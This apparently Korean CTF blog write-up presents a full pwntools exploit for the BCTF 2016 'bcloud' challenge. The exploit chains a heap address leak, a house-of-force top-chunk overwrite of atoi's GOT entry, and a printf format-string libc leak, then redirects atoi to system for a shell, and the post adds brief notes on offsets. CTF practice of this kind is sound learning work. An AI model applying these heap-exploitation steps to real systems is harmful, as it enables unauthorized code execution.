-
BCTF 2016 BcloudPwnable/CTF 2017. 8. 27. 00:3812345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485from pwn import *p=process("./bcloud.9a3bd1d30276b501a51ac8931b3e43c4")#p=remote("localhost",9001)elf = ELF("./bcloud.9a3bd1d30276b501a51ac8931b3e43c4")def start():print p.recvuntil('Input your name:')p.sendline("A"*64+"C"*64+"\xff\xff\xff\xff")print p.recvuntil("A"*64)heap = u32(p.recv(4))p.recvuntil('Org:')p.recvuntil('Host:')return heapdef new(length,content):p.recvuntil('option--->>')p.sendline("1")p.recvuntil('length of the note content:')p.sendline(str(length))p.recvuntil('Input the content:')p.sendline(content)def show():p.recvuntil('option--->>')p.sendline("2")print p.recvuntil('strange happened.')def edit(index,content):p.recvuntil('option--->>')p.sendline("3")p.recvuntil('Input the id:')p.sendline(str(index))p.recvuntil('Input the new content.')p.sendline(content)print p.recvuntil('Edit success.')def delete(index):p.recvuntil('option--->>')p.sendline("4")p.recvuntil('Input the id:')p.sendline(str(index))print p.recvuntil('Delete success.')def syn():p.recvuntil('option--->>')p.sendline("5")print p.recvuntil('Synchronization success.')heap = start()host = heap + 0x48orc = host + 0x48top_chunk = heap + 0xd8 #size !!! data xxxxprint "what's your name: "+hex(heap)print "heap top chunk: "+hex(top_chunk)atoi_got = elf.got['atoi']print hex(atoi_got)size = ((atoi_got-top_chunk)-0xc)print str(size)puts_plt = 0x08048520new(size,"")atoi_print = p32(0)+p32(elf.plt['printf'])new(len(atoi_print),atoi_print)print p.recvuntil('option--->>')print p.recvuntil('option--->>\n')print "===========LEAK ================"p.sendline("%10$p")puts = int(p.recv(10),16) - 11system = puts - 0x24f00print "puts leak: "+hex(puts)print hex(system)print p.recvuntil('option--->>')p.sendline("cca")print p.recvuntil('Input the id:')p.sendline("1")print p.recvuntil('Input the new content:')p.sendline(p32(0)+p32(system))print p.recvuntil('option--->>')p.sendline("ls\x00")p.interactive()
cs house of force를 할 때 테스트용으로 prev size 계산 안 하고 그냥 got에 넣었더니 -8이 아니라 -12가 되어서 -0xc를 해야된다는것을 쉽게 알아내고 저기서 ls\00을 안 넣고 그냥 실행을 시켜도 쉘이 따진다.
처음으로 atoi got 조작해서 format string bug 일으키는 문제를 풀어서 신기하였다.
'Pwnable > CTF' 카테고리의 다른 글
크리스마스CTF 2016 house_of_daehee (0) 2017.08.28 크리스마스CTF 2016 who is solo? (0) 2017.08.27 YISF 2017 본선 (0) 2017.08.13 YISF 2017 write up (0) 2017.08.10 HITCON 2016 SleepyHolder (0) 2017.07.13